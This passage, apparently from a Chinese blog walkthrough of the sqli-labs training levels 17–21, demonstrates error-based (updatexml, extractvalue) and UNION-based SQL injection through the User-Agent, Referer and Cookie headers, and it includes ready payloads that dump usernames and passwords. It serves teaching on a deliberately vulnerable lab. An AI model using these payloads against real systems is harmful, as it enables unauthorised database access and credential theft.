'or updatexml(1,concat("!",(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name ='users')),2)#

4、获取目标信息

使用报错注入回显用户名和密码,发现网页回显“You can't specify target table 'users' for update in FROM clause”

' OR updatexml(1,concat('!',(SELECT group_concat(':',username,password) FROM users)),1)#

这里我们无法直接从 users 表拿数据,我们可以先用一个暂存从 users 表中取出所有数据的查询,然后再从这个暂存的表中取出数据。

构造出的 payload 如下,思路就是利用一个查询从另一个查询中取出数据,以此绕过表的限制

' OR (updatexml(1,concat('!',(SELECT concat_ws(':',username,password) FROM (SELECT username,password FROM users)text LIMIT 0,1)),1))#

通过修改 LIMIT 返回行,可以取出其他行的数据

less-18

————POST-Header Injection-Uagent field-Error based (基于错误的用户代理,头部 POST 注入)

一、判断注入类型

首先我们注入正确的用户名和密码,观察到网页回显了 IP Address 和 User Agent。用户代理 User Agent 是一个 HTTP 头,使得服务器能够识别客户使用的操作系统及版本、CPU类型、浏览器及版本、浏览器渲染引擎、浏览器语言、浏览器插件等

接下来注入个错误的用户名和密码,网页显示登录失败且无其他回显

判断注入类型,在用户名和密码分别使用下面的所有注入,网页都回显登录失败。

a' OR 1 = 1#
a') OR 1 = 1#
a')) OR 1 = 1#
a" OR 1 = 1#
a") OR 1 = 1#
a")) OR 1 = 1#

当我们登录成功时,网页是回显的User Agent,我们猜测 User Agent 头可能存在注入。我们使用Brup抓包,注入各种参数试试,都登录失败

我们推断 uname 和 passwd 字段都进行了强效过滤,我们注入正确的 uname 和 passwd 之后再次注入。此时发现当在 User Agent 注入单引号闭合时,网页返回报错信息

User-Agent: '

到此,我们得知在登录成功之后会执行另一个 SQL 语句,该语句会因为 User Agent 头而存在字符型注入的漏洞

二、获取数据库信息

由于我们不知道第二个SQL语句具体长啥样子,因此我们要先测试如何正确闭合该SQL语句。

使用单引号闭合后,使用“#”注释掉后面的语句,注入失败

User-Agent: '#

注入2个连续的单引号,发现闭合成功,由此可见2个单引号分别闭合了两侧的单引号

User-Agent: ''

1、爆数据库名

在注入的两个单引号之间可以插入其他 SQL 语句,我们这里放置 updatexml() 报错注入语句。注意使用单引号闭合两侧的 SQL 语句时,相当于把它分割成了两部分,插入 updatexml() 报错时要用 OR 进行连接。

User-Agent: ' OR updatexml(1,concat("!",database()),2) OR '

知道了闭合方式之后,注入的步骤和 Less-17 差不多。

2、爆表名

XPath_string 参数可以使用一个 SELECT 查询结果,使用 group_concat() 函数聚合

User-Agent: ' OR updatexml(1,concat("!",(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'security')),2) OR '

3、爆字段

User-Agent: ' OR updatexml(1,concat("!",(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema = 'security' AND table_name = 'users')),2) OR '

4、获取目标信息

使用报错注入回显用户名和密码,先用一个表暂存从 users 表中取出所有数据的查询,然后再从这个暂存的表中取出数据

User-Agent: ' OR (updatexml(1,concat('!',(SELECT concat_ws(':',username,password) FROM (SELECT username,password FROM users)text LIMIT 0,1)),1)) OR '

查看表里的账号和密码

通过修改 LIMIT 子句的返回行数,就可以取出其他行的查询结果

less-19

————POST-Header Injection-Referer field-Error based (基于头部的 Referer POST 报错注入)

一、判断注入类型

首先我们注入正确的用户名和密码,观察到网页回显了 IP Address 和 Referer。引用来源 Referer 是一个 HTTP 头的一个字段,用来告诉服务器该网页是从哪个页面链接过来的。

接下里注入个错误的用户名和密码,网页显示登录失败且回显了 IP Address

判断注入类型,在用户名和密码都使用下面的所有注入,网页都回显密码修改失败

a' OR 1 = 1#
a') OR 1 = 1#
a')) OR 1 = 1#
a" OR 1 = 1#
a") OR 1 = 1#
a")) OR 1 = 1#

当我们登录成功时,网页回显的是 Referer,我们推测 Referer 头可能存在注入。使用 Brup 抓包,注入正确的 uname 和 psswd 之后在 Referer 头使用单引号闭合。此时发现当注入单引号闭合时,网页返回报错信息。

Referer: '

 到此,我们得知在登录成功之后会执行另一个SQL语句,该语句会因为 Referer 头而存在字符型注入漏洞

二、获取数据库信息

我们开始测试闭合方式。先使用单引号闭合,使用“#”注释掉后面的SQL语句,注入失败

注入2个不连续的单引号,发现闭合成功,由此可见2个单引号分别闭合了两侧的单引号

Referer: ''

 注入步骤与Less-17差不多,这次我们使用 extractvalue() 报错注入。extractvalue() 报错注入和 updatexml() 报错差不多,extractvalue() 函数对XML 文档进行子查询的函数。函数的原型为:

extractvalue(XML_document, XPath_string)

参数说明
XML_documentXML_document
XPath_stringXpath 格式的字符串

1、爆数据库名

在注入的两个单引号之间放置 extractvalue() 报错注入

Referer: ' OR extractvalue(1,concat("!",database())) OR '

2、爆表名

Referer: ' OR extractvalue(1,concat("!",(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'security'))) OR'

3、爆字段

 ' OR extractvalue(1,concat("!",(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema = 'security' AND table_name = 'users'))) OR '

4、获取目标信息

使用报错注入回显用户名和密码,先用一个表暂存从 users 表中取出所有数据的查询,然后再从这个暂存的表中取出数据

Referer: ' OR (extractvalue(1,concat('!',(SELECT concat_ws(':',username,password) FROM (SELECT username,password FROM users)text LIMIT 0,1)))) OR '

less-20

————POST-Cookie injections-Uagent field-Error based (基于错误的 cookie 头部 POST 注入)

一、判断注入类型

先输入正确的用户名和密码进行登录,观察到网页回显了大量信息。再次刷新,Less-20的页面没有变化,这应该是 cookie 起到的作用。

cookie 是网站为了辨别用户身份,进行 Session 跟踪而存储在用户本地浏览器环境上的数据。想要回到登录界面,我们需要清除 Cookie

判断注入类型,在用户名和密码都使用下面的所有注入,网页都回显登录失败

a' OR 1 = 1#
a') OR 1 = 1#
a')) OR 1 = 1#
a" OR 1 = 1#
a") OR 1 = 1#
a")) OR 1 = 1#

根据 Cookie 的作用和原理,网页在用户登录后,会利用浏览器记录用户的登录状态,在用户刷新、重新登录或进入其他相关页面时,不需要再次登录。

我们猜测,Cookie是一个注入点

Cookie: uname=admin',网页回显语法错误,说明 Cookie 存在字符型的 SQL 注入漏洞

在单引号之后用“#”把后面的内容注释掉,网页回显正常,说明该语句使用单引号闭合

Cookie: uname=admin'#

二、获取数据库信息

1、判断表的列数

首先我们判断有几列我们可用,因为网页回显了 Your Login name、Your Password、You ID一共3个字段,猜错有3列可用,使用联合查询注入3个常熟验证猜想,得到 3 列的回显位置

Cookie: uname=' UNION SELECT 1,2,3#

接下来注入操作和 Less-1一样,这里需要在 Cookie 进行注入

2、爆数据库名字

Cookie: uname=' UNION SELECT database(),2,3#

3、爆表名

Cookie: uname=' UNION SELECT group_concat(table_name),2,3 FROM information_schema.tables WHERE table_schema = 'security'#

4、爆字段名

Cookie: uname=' UNION SELECT group_concat(column_name),2,3 FROM information_schema.columns WHERE table_schema = 'security' AND table_name = 'users'#

5、获取目标信息

Cookie: uname=' UNION SELECT group_concat(concat(":",username,password)),2,3 FROM security.users#

less-21

————Cookie Injection-Error Based-complex-string (基于错误的复杂的字符型 Cookie 注入)

一、判断注入类型

输入正确的用户名和密码登录,网页回显大量信息,刷新网页无变化。

判断注入类型,在用户名和密码都使用下面的所有注入,网页都回显登录失败

' OR 1 = 1#

') OR 1 = 1#

')) OR 1 = 1#

" OR 1 = 1#

") OR 1 = 1#

")) OR 1 = 1#

抓包测试,发现Cookie中的uname的值是乱码

最后的%3D是“=”

“YWRtaW4=”解码后为“admin”

由此我们得知Cookie会对uname的值进行base64编码,这就是与Less-20关卡的区别,我们只需要将上一题目的注入内容都进行base64编码之后再进行注入,即可完成题目

  • 32
    点赞
  • 23
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值